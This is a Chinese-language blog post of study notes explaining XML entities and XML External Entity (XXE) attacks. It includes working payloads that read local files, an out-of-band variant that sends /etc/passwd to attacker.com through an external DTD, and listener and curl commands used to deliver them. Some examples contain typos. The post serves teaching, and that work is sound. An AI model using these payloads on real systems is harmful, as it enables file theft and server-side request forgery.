XML External Entity attacks

  • XML 代表可扩展标记语言
  • XML 是一种标记语言,很像 HTML

HTML是关于表示的

XML更多是关于数据传输的

常见的应用场景 api的布局和样式 安卓应用程序配置文件

Example

<?xml version ="1.0"?> //指定xml文档的meta data实体 xml解析处理的时候的版本 可选

<person>  //根文档的元素  只能由一个类似于html中的head 

 

<Name>john</Name>  //name和age标签 写的时候大小写要一致不能一个大一个小 

不能在输出值得地方写 “  ‘ 因为很难被xml理解是否为值的一部分或者只是一个符号 想写的时候可以用一个

叫Entities实体的东西 实体是存储单元 可以把它看成xml的变量 可以在 xml不同的地方引用它类似于html中的<nav> <p> 标签

 <Age>20</Age>

</Person>

 

 

//2到4行定义了一个实体 并命名为name  还在第六行中引用相同的值可以节省时间

 

在xml中有三种实体 general 通用  parameter 参数实体  predef 预定义

 

general 通用 刚才引用name这种就是通用实体 值在某处被引用 

<!ENTITY name "name">     <hello>&name;</hellp>

 

parameter 参数实体 只能在DTD中使用 更加灵活 

<!ENTITY % outer "<!ENTITY inner 'john'>">

//创建一个值为实体的实体 ????套娃是吧  这个场景在xml外部实体时非常有用

 

 predef 预定义实体 只是一些特殊字符例如引号 # ' .......  可以使用&符号+x3C 这是一个ascll码

<hello>&#x3C;</hello>

在xml中原本一些符号会破坏文档例如 < ( > 为了解决这个办法要首先预定义实体而不是直接使用

1:  <?xml version="1.0"?>

2:  <!DOCTYPE Person [     

 

3:  <!ENTITY name "john">

4:   ] >

5:  <Person>

6:   <Name>&name;</Name>

7:  <Age>20</Age>

8:</Person>

 

s in xml stands for security 

entities -----> store date

实体就像变量一样可以存储值使用 但是XML不仅仅实在实体上存储一些值使用

它们还有很多xml标准提供的功能 外部实体是其中之一 

                   |-------- >'hack'

name ---------> 'security.txt'

                   |---------->'http://abc.com/file'

实体不仅可以存储您指定的值

还可以从本地文件提取值 

甚至通过网络远程获取并把它们存储为实体备用 

 

<?xml version ="1.0"?>

<!DOCTYPE XXE [

      <!ENTITY subscribe  SYSTEM "secret.txt">

]>

<pwn>&subscribe;</pwn>

 

// SYSTEM 实体中的关键字让xml解析器知道这是一个外部实体 过程让xml解析器获取外部资源 并把它存储在实体中 如果定义的外部实体接近xml语法的东西 xml会抛出异常 例如标签 让你知道xml解析失败  这个实体的值安全性不高  secret.txt ----url  xml在解析的过程中 不像xml解析的任何有效值 到底是file uri http ftp ??? 解析器搞不明白 然后就会输出文件里面的信息 可以读取到本地文件的信息 这种攻击被称为XML enternal Entity xml外部实体攻击 或者 xee

 

读取local file 本地文件只是一个开始 

基于错误的错误 xml解析错误 然后让它显示在屏幕上 类似盲注 除了一堆错误看不到其他消息 

还有 oob or out-of-band x-axis 这些比盲注还盲注 你会看不到任何输出你必须尝试一些越界请求来泄露数据

oob xxe 场景

 

 

 try it

<?xml version ="1.0"?>

<!DOCTYPE XXE

[

      <!ENTITY subscribe  SYSTEM "http://attacker.com:13337" >

]>

<pwn>&subscribe;</pwn>

文件路径改成了外部的url 在这个例子中它是攻击者通信方式

curl -X post --data"@xxe.xml" vulnerable.com 

服务器正确解析XML 并尝试外部实体 so coolllllllllll   xml -------》 server -------》attacker.com

我们可以发出请求作为服务器内部请求 实际上这是一个伪造请求 server side request forgery 有点类似ssrf  但是我们能做的不止这些 发出一个随机请求 

已知我们可以从服务器读取本地文件并显示出来 或者在盲打xxe中攻击到文件内容 

在xxe攻击之前先聊聊 DTD 不是直接定义在xml文档中的根元素数据上的一部分 这可能暗示TTV的另外一个功能 即DT DS可以像实体一样从外部加载

 

你也可以指定一个URL加载在处理时解析器会获取外部DTD 并解析内容这允许你通过从数据中分离出来有组织的xml文档这对程序员帮助很大 对攻击者也同样很大 如果你可以加载外部的DTD 那你就可以解锁xml的另外的功能  即你可以在标记中使用参数实体声明 like this 声明本身name  

<!-- External DTD -->

<!ENTITY %name "JEFFFFFFFFF">

<!ENTITY %outer "<!ENTITY inner ''My name in %name ; '>">

 

<?xml version ="1.0"?>

<!DOCTYPE XXE

[

 

看之前的实例

<?xml version ="1.0"?>  //DTD

<!DOCTYPE XXE

[

 

1<?xml version="1.0"?>

2<!DOCTYPE Pwn [                      //2~4为内部DTD or文档类型定义             

3  <!ENTITY % parameter_entity "!ENTITY general_entity 'PwnFunction'> "> //parameter_entity 定义参数实体的实体 这会导致很不安全 可以在一另一个实体中定义实体 只允许下面的DTD引用参数实体

4    %parameter_entity;

5 ]>

6 <pwn>&general_entity;</pwn>    //被上面pwnfunction引用这是一个通用实体 

 

xml解析器的工作过程

1<?xml version="1.0"?> //查看基于version的版本 处理标记

2<!DOCTYPE Pwn [    //查找DTD or 文档类型定义 在同一个xml文档中定义文档类型定义也称为 内联DTD

3<!ENTITY % parameter_entity "<!ENTITY general_entity 'PwnFunction'> ">  //看百分比符号现在解析器尝试把它解析为参数实体  通过通用实体的标记<!ENTITY general_entity 'PwnFunction'> 分配值为下一行这个 

4    %parameter_entity;  //尝试引用上面创建的参数实体% parameter_entity 以便解析器在末尾替换这个实体的值 

解析后的值

 

1<?xml version="1.0"?>

2<!DOCTYPE Pwn [

3  <!ENTITY % parameter_entity "!ENTITY general_entity 'PwnFunction'> "> 

4  <!ENTITY general_entity 'PwnFunction'

5 ]>

6 <pwn>&general_entity;</pwn>  //现在我们可以直接使用参数实体在DTD内部

 

example

1<?xml version="1.0"?>

2<!DOCTYPE XXE [

3  <!ENTITY %  passwd SYSTEM " /etc/passwd ">  //读取passwd里面的内容  创建包装器的参数实体,让通用实体作为值发送出去 wrapper包装器 在下面被引用的时候 它将passwd文件内容替换为url里面的一部分

4  <!ENTITY % wrapper "<!ENTITY sent SYSTEM 'http://attacker.com/?%passwd;'>">  //<!ENTITY sent SYSTEM 'http://attacker.com/?%passwd通用实体作为参数实体的值称为wprapper 替换发生

       //%wrapper;   <!ENTITY send SYSTEM 'http://attacker.com/?CONTENTS_OF_PASSWD'> //这是一个通用实体当你尝试引用它(send)它会向外部资源发出请求 'http://attacker.com/?CONTENTS_OF_PASSWD' 并且文件内容也会被现实出来 现在我们可以在盲打xxe中窃取文件的内容  

//error??? 根据文档  内部DTD子集参数实体引用xml规范 这意味着你不能再标记声明中引用参数实体 但是可以在和标记定义相同的级别引用它  令人迷惑Bypass? DTDS 内容在内部DTD中不起作用, 约束不只用于外部DT DS   所以用一个外部DTD 不是内部的DTD 就可以Bypass 

 

 

 

5 ]>

6 <pwn>&send;</pwn> 

 

<!DOCTYPE data  SYSTEM "http://example.com/external.dtd">

将一个简单的DTD文件包含到xml中,您可以看到没有定义实体在doctype本身 但我们尝试包含一个外部DTD,其中包含我们所有需要的实体 当你尝试从外部资源包含它的时候 它的工作方式和之前一样 很不安全 但它也允许你用参数实体这样更灵活

1<?xml version="1.0"?>

<!DOCTYPE data  SYSTEM "http://example.com/evil.dtd">  //携带外部DTDxml引用一个通用实体发送但这个发送实体在 evil.dtd文件中

<data>&send;</data>

 

 

 发送实体的来源 就在这send 当你尝试引用它时它会发出请求获取外部实体 

python -m http.server 8080 //托管DTD文件服务器

ncat -klvp 1337 //监听1337端口

curl -d @xxe.xml vulnerable.com //发送payload到服务器上 get passwd内容

 

#device      <dir>       <type>     <options>      <dump>  <fsck>

/dev/sda1     /             ext4           noatime         0              1

向上面这种格式格式不好 会破怀解析器出错 如何获取这些有问题的数据呢?

CDATA 参考数据代表字符数据 可以处理这些破坏性数据

<![CDATA[ <text>]]>

在开始和结束数据标记例如:text直接的任何东西都不会被xml解析为标记

以xxe攻击语法开始和结束

xml不仅用于api中 还有svg PDF office文件........

posted on 2021-12-20 22:12  故事少了完结  阅读(116)  评论(0)    收藏  举报

导航